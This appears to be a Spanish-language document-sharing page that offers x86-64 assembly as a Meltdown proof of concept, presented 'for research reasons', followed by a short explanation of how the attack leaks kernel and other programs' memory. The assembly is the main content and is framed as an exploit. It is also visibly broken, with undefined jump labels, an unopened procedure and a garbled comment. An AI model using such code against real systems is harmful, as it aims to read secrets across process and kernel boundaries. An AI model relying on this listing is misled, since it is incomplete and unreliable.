Documentos de Académico
Documentos de Profesional
Documentos de Cultura
A continuación se muestra el código ensamblador (enlace para descargar) que rompe el aislamiento entre el
espacio de usuario y el kernel, también conocido como Meltdown. Por razones de investigación, por supuesto.
CODE
EXTRN pointers:QWORD
EXTRN speculative:QWORD
EXTRN L2_cache_clear:QWORD
EXTRN times:QWORD
_loop:
mov r15, qword ptr [r8] ; next pointer
; cache invalidate:
mov rdi, qword ptr [L2_cache_clear]
mov rcx, ((256 * 4096) / 64)
_cache_invalidate_loop:
inc qword ptr [rdi];
add rdi, 64
dec rcx
jnz _cache_invalidate_loop
; this is run for real on all the boring iterations, but run speculatively on the
; kernel iteration
mov al, byte ptr [r15] ; load the value at the pointer
shl rax, 6
lea rdi, qword ptr [rdi + rax]
clflush [rdi] ; do a dependent load and store
_loop_iter:
cmp r10, (2048-999)
jne _nobreak
; int 3
_nobreak:
cmp r10, (2048-1000)
je _speculative_correction
add r9, 8
add r8, 8
dec r10
jnz _loop
_end_of_function:
pop r15
pop r13
pop r11
pop r10
pop r9
pop r8
pop rbx
pop rdi
ret
_speculative_correction:
; at this point:
; r13 = ×[0]
; rdi = &L2_cache_clear[0]
; everything else = scratch
; do the read
mov rax, r8
shl rax, 6
inc qword ptr [rdi + rax]
mfence
; iterate:
inc r8
add r13, 8
dec r9
jnz _speculative_timing_loop
jmp _end_of_function
_run_attempt ENDP
END
Meltdown rompe el aislamiento más fundamental entre las aplicaciones de usuario y el sistema operativo. Este
ataque permite que un programa acceda a la memoria, y por lo tanto también a los secretos, de otros programas
y del sistema operativo.
Si su computadora tiene un procesador vulnerable y ejecuta un sistema operativo sin parches, no es seguro
trabajar con información confidencial sin la posibilidad de filtrarla. Esto se aplica tanto a las computadoras
personales como a la infraestructura en la nube. Afortunadamente, existen parches de software contra
Meltdown.